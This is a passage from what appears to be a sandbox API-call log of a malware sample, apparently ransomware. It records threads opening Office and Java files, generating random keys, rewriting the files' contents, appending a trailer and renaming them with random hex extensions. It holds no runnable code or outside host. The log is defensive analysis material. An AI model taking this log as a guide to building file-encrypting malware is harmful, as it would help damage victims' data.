"c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0222.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF", dwFileAttributes=0x20) returned 1 [0244.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18c4 [0244.086] GetFileSizeEx (in: hFile=0x18c4, lpFileSize=0x593ef680 | out: lpFileSize=0x593ef680*=5798) returned 1 [0244.086] SetFilePointerEx (in: hFile=0x18c4, liDistanceToMove=0x16a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.086] ReadFile (in: hFile=0x18c4, lpBuffer=0x593ef600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x593ef648, lpOverlapped=0x0 | out: lpBuffer=0x593ef600*, lpNumberOfBytesRead=0x593ef648*=0x4, lpOverlapped=0x0) returned 1 [0244.940] SetFilePointerEx (in: hFile=0x18c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab60 [0244.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b880 [0244.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0244.940] NtQuerySystemTime (in: CurrentTime=0x593ef540 | out: CurrentTime=0x593ef540*=132462178487494000) returned 0x0 [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x6e33ca63 [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x7f2b6900 [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x428e666f [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x4fe49b9c [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x78e73652 [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x66a1dced [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x41540da [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x10eb81dc [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x51fccbec [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x68e32a81 [0244.940] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x8a24e75 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x3fdc19d8 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x65525c44 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x3e8d441f [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x369ddda [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x3aef5f29 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x4b364da0 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x492d55f2 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x3f31d786 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x2453d863 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x4b45d9aa [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x4c343b13 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x2a26574f [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x69d25527 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x30b901d6 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x1c7da1dc [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x7f2a9e47 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x1b6446ef [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x17465efb [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x1861096f [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x569d4216 [0244.941] RtlRandomEx (in: Seed=0x593ef530 | out: Seed=0x593ef530) returned 0x6f1c2861 [0244.948] ReadFile (in: hFile=0x18c4, lpBuffer=0x20499710, nNumberOfBytesToRead=0x16a6, lpNumberOfBytesRead=0x593ef530, lpOverlapped=0x0 | out: lpBuffer=0x20499710*, lpNumberOfBytesRead=0x593ef530*=0x16a6, lpOverlapped=0x0) returned 1 [0244.978] SetFilePointerEx (in: hFile=0x18c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.978] WriteFile (hFile=0x18c4, lpBuffer=0x2047f2a0, nNumberOfBytesToWrite=0x16a6, lpNumberOfBytesWritten=0x593ef534, lpOverlapped=0x0) Thread: id = 3404 os_tid = 0x168c [0172.657] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kathmandu")) returned 0x20 [0174.781] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu", dwFileAttributes=0x20) returned 1 [0183.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kathmandu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2f00 [0183.305] GetFileSizeEx (in: hFile=0x2f00, lpFileSize=0x595cfe00 | out: lpFileSize=0x595cfe00*=77) returned 1 [0183.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31730 [0183.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31760 [0183.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31790 [0183.305] NtQuerySystemTime (in: CurrentTime=0x595cfcc0 | out: CurrentTime=0x595cfcc0*=132462177884086000) returned 0x0 [0183.305] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x76549d66 [0183.305] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x8d58bfb [0183.305] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x4513e9bf [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x2ee90cf4 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x5fa0c423 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x6ec9871a [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x4aa4a901 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x51322f40 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x2f1ca917 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x2598d6e5 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x68cada34 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x52ef7393 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0xc4e719f [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0xb22845f [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x63e40f2a [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x10ea0741 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x52d09912 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x2fae8b01 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x894ec9a [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x3383e84c [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x2a309d82 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x497d602d [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x3d992c14 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x43e6aea5 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x20f1dc04 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x348f7394 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x789cee7d [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x32c4b4c5 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x6a3b7d2c [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x33086512 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x3b3c9ab2 [0183.306] RtlRandomEx (in: Seed=0x595cfcb0 | out: Seed=0x595cfcb0) returned 0x13795c4e [0183.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d317c0 [0183.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0183.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d317f0 [0183.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0183.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31790) returned 1 [0183.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31730) returned 1 [0183.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c830 [0183.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0183.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31730 [0183.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31730) returned 1 [0183.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4247d540 [0183.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4246e500 [0183.318] ReadFile (in: hFile=0x2f00, lpBuffer=0x4247d540, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x595cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4247d540*, lpNumberOfBytesRead=0x595cfcb0*=0x4d, lpOverlapped=0x0) returned 1 [0183.319] SetFilePointerEx (in: hFile=0x2f00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.319] WriteFile (in: hFile=0x2f00, lpBuffer=0x4246e500*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x595cfcb4, lpOverlapped=0x0 | out: lpBuffer=0x4246e500*, lpNumberOfBytesWritten=0x595cfcb4*=0x4d, lpOverlapped=0x0) returned 1 [0187.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263620 [0187.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636e0 [0187.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202636e0) returned 1 [0187.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4246e500) returned 1 [0187.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4247d540) returned 1 [0187.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0187.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c830) returned 1 [0187.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636e0 [0187.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c830 [0187.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0187.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ec0 [0187.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ec0) returned 1 [0187.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ec0 [0187.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634a0 [0187.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134780 [0187.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134780) returned 1 [0187.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0187.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c830) returned 1 [0187.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x43128c70 [0187.827] SetFilePointerEx (in: hFile=0x2f00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.827] WriteFile (in: hFile=0x2f00, lpBuffer=0x43128c70*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x595cfdd0, lpOverlapped=0x0 | out: lpBuffer=0x43128c70*, lpNumberOfBytesWritten=0x595cfdd0*=0x104, lpOverlapped=0x0) returned 1 [0199.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0199.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0199.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31670 [0199.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31670) returned 1 [0199.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0f0e0 [0199.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31670 [0199.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31640 [0199.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31640) returned 1 [0199.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0199.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0199.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x42d31640 [0199.856] sprintf (in: _Dest=0x42d31640, _Format="%c%c" | out: _Dest="6a") returned 2 [0199.857] sprintf (in: _Dest=0x42d31642, _Format="%c%c" | out: _Dest="4f") returned 2 [0199.857] sprintf (in: _Dest=0x42d31644, _Format="%c%c" | out: _Dest="f5") returned 2 [0199.857] sprintf (in: _Dest=0x42d31646, _Format="%c%c" | out: _Dest="dc") returned 2 [0199.857] sprintf (in: _Dest=0x42d31648, _Format="%c%c" | out: _Dest="d7") returned 2 [0199.857] sprintf (in: _Dest=0x42d3164a, _Format="%c%c" | out: _Dest="39") returned 2 [0199.857] sprintf (in: _Dest=0x42d3164c, _Format="%c%c" | out: _Dest="b1") returned 2 [0199.857] sprintf (in: _Dest=0x42d3164e, _Format="%c%c" | out: _Dest="d0") returned 2 [0199.857] sprintf (in: _Dest=0x42d31650, _Format="%c%c" | out: _Dest="14") returned 2 [0199.857] sprintf (in: _Dest=0x42d31652, _Format="%c%c" | out: _Dest="8c") returned 2 [0199.857] sprintf (in: _Dest=0x42d31654, _Format="%c%c" | out: _Dest="f0") returned 2 [0199.857] sprintf (in: _Dest=0x42d31656, _Format="%c%c" | out: _Dest="9c") returned 2 [0199.857] sprintf (in: _Dest=0x42d31658, _Format="%c%c" | out: _Dest="b4") returned 2 [0199.857] sprintf (in: _Dest=0x42d3165a, _Format="%c%c" | out: _Dest="3f") returned 2 [0199.857] sprintf (in: _Dest=0x42d3165c, _Format="%c%c" | out: _Dest="35") returned 2 [0199.857] sprintf (in: _Dest=0x42d3165e, _Format="%c%c" | out: _Dest="f0") returned 2 [0199.857] sprintf (in: _Dest=0x42d31660, _Format="%c%c" | out: _Dest="4b") returned 2 [0199.857] sprintf (in: _Dest=0x42d31662, _Format="%c%c" | out: _Dest="b2") returned 2 [0199.857] RtlInitAnsiString (in: DestinationString=0x595cfe48, SourceString="6a4ff5dcd739b1d0148cf09cb43f35f04bb2" | out: DestinationString="6a4ff5dcd739b1d0148cf09cb43f35f04bb2") [0199.857] RtlAnsiStringToUnicodeString (in: DestinationString=0x595cfe18, SourceString="6a4ff5dcd739b1d0148cf09cb43f35f04bb2", AllocateDestinationString=1 | out: DestinationString="6a4ff5dcd739b1d0148cf09cb43f35f04bb2") returned 0x0 [0199.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858730 [0199.858] wcscat (in: _Dest=0x431d94a0, _Source="6a4ff5dcd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6a4ff5dcd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6a4ff5dcd" [0199.858] wcscat (in: _Dest=0x431d94a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6a4ff5dcd.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6a4ff5dcd.2f9b60" [0199.858] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6a4ff5dcd.2f9b60", NtPathName=0x595cfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\6a4ff5dcd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431f3220 Thread: id = 3412 os_tid = 0x16b8 [0172.682] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Magadan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\magadan")) returned 0x20 [0176.260] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Magadan", dwFileAttributes=0x20) returned 1 [0183.757] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Magadan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\magadan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x30d4 [0185.476] GetFileSizeEx (in: hFile=0x30d4, lpFileSize=0x59bef8a0 | out: lpFileSize=0x59bef8a0*=581) returned 1 [0185.476] SetFilePointerEx (in: hFile=0x30d4, liDistanceToMove=0x241, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.476] ReadFile (in: hFile=0x30d4, lpBuffer=0x59bef820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x59bef868, lpOverlapped=0x0 | out: lpBuffer=0x59bef820*, lpNumberOfBytesRead=0x59bef868*=0x4, lpOverlapped=0x0) returned 1 [0185.477] SetFilePointerEx (in: hFile=0x30d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7b20 [0185.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec87b0 [0185.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8840 [0185.478] NtQuerySystemTime (in: CurrentTime=0x59bef760 | out: CurrentTime=0x59bef760*=132462177905770000) returned 0x0 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x6fca2818 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x5565e6af [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x1852e351 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x605b9097 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x66cf77e [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x73b3fb5e [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x269affba [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x1096c881 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x2ed00735 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x704ac9d0 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x337babed [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x3350c8af [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x1890568f [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x26047b19 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x7aa1c208 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x7661875e [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x4bea33a9 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x23c92e04 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x23fb722e [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x723e01f9 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0xcdb804f [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x73e3040b [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x1d35051f [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x406d5a26 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x5a072200 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x4c555b72 [0185.478] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x2c6d1b8 [0185.479] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x23042c9 [0185.479] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x2c9c6003 [0185.479] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x60a05b22 [0185.479] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x7389229e [0185.479] RtlRandomEx (in: Seed=0x59bef750 | out: Seed=0x59bef750) returned 0x459e1131 [0185.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec8870 [0185.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0185.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec88a0 [0185.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0185.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec8840) returned 1 [0185.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7b20) returned 1 [0185.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62aa0 [0185.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0185.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7b20 [0185.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7b20) returned 1 [0185.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a6daa0 [0185.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a78ed0 [0185.490] ReadFile (in: hFile=0x30d4, lpBuffer=0x42a6daa0, nNumberOfBytesToRead=0x245, lpNumberOfBytesRead=0x59bef750, lpOverlapped=0x0 | out: lpBuffer=0x42a6daa0*, lpNumberOfBytesRead=0x59bef750*=0x245, lpOverlapped=0x0) returned 1 [0185.490] SetFilePointerEx (in: hFile=0x30d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.491] WriteFile (in: hFile=0x30d4, lpBuffer=0x42a78ed0*, nNumberOfBytesToWrite=0x245, lpNumberOfBytesWritten=0x59bef754, lpOverlapped=0x0 | out: lpBuffer=0x42a78ed0*, lpNumberOfBytesWritten=0x59bef754*=0x245, lpOverlapped=0x0) returned 1 [0189.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135680 [0189.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431356b0 [0189.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431356b0) returned 1 [0189.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a78ed0) returned 1 [0189.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a6daa0) returned 1 [0189.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0189.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62aa0) returned 1 [0189.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x431356b0 [0189.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62aa0 [0189.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0189.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431356e0 [0189.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431356e0) returned 1 [0189.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x431356e0 [0189.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135710 [0189.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135740 [0189.076] RtlFreeHeap (HeapHandle=0xa0000, 